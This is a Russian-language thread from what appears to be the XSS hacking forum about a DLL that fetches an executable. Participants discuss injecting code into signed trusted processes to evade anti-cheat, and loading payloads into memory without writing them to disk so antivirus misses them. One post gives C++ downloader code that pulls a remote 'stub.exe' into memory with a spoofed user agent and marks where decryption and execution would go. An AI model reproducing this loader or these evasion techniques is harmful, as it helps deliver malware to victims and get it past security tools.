• XSS.stack #1 – первый литературный журнал от юзеров форума

DLL с подкачкой EXE

в длл можно вместить тот же код что и в любой другой программе, я как то раз обходил блокировку юзермода античитом просто переместив весь код юзермода в длл и длл инжектил в любой другой доверенный процесс с подписью. так что да, возможно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Зачем это делать - это дроп на диск, анализ, далее выносят из системы, вешают детект и vice versa
 
Зачем это делать - это дроп на диск, анализ, далее выносят из системы, вешают детект и vice versa
так зачем сохранять на диск если можно грузить сразу в память расшифровывать и запускать
 
Пожалуйста, обратите внимание, что пользователь заблокирован
так зачем сохранять на диск если можно грузить сразу в память расшифровывать и запускать
если так то гуд)
 
если так то гуд)
C++:
#include <windows.h>
#include <wininet.h>



void* _alloc(SIZE_T size)
{
    return HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size + 64);
}

void _copy(void* dst, const void* src, SIZE_T size)
{
    for (SIZE_T i = 0; i < size; ++i) ((LPBYTE)dst)[i] = ((LPBYTE)src)[i];
}


int remoteFileSize(HINTERNET URLHandle) {
    char SBuffer[200];
    DWORD SBufferSize = 200;
    DWORD srv = 0;

    HttpQueryInfoA(URLHandle, HTTP_QUERY_CONTENT_LENGTH, SBuffer, &SBufferSize, &srv);
   
    typedef int(WINAPI* xAtoi)(const char*);
    xAtoi Atoi = (xAtoi)GetProcAddress(LoadLibraryA("ntdll.dll"), "atoi");

    return Atoi(SBuffer);
}

BYTE* downloadFileToMem(LPCSTR link, DWORD *size) {
    BOOL bResult;
    DWORD dwBytesRead = 1;

    if (HINTERNET hInternetSession = InternetOpenA("Mozilla/5.0 AppEngine-Google; (+http://code.google.com/appengine; appid: canisano)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0)) {
        if (HINTERNET hURL = InternetOpenUrlA(hInternetSession, link, 0, 0, 0, 0)) {
            int sizeOfRemoteFile = remoteFileSize(hURL);

            if (BYTE* buf = (BYTE*)_alloc(sizeOfRemoteFile)) {

                InternetReadFile(hURL, buf, (DWORD)sizeOfRemoteFile, &dwBytesRead);
                InternetCloseHandle(hURL);
                InternetCloseHandle(hInternetSession);

                *size = sizeOfRemoteFile;
                return buf;
            }
        }
    }

    return 0;
}

/*
    расшифруем запустим
*/



INT XSS(void) {
    DWORD fileSize = 0;
    BYTE* exeMemory = downloadFileToMem("domeg.ggg\\stub.exe", &fileSize);

    /* расшифруем запустим  */
    ExitProcess(0);
}

p/s взято с форума
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх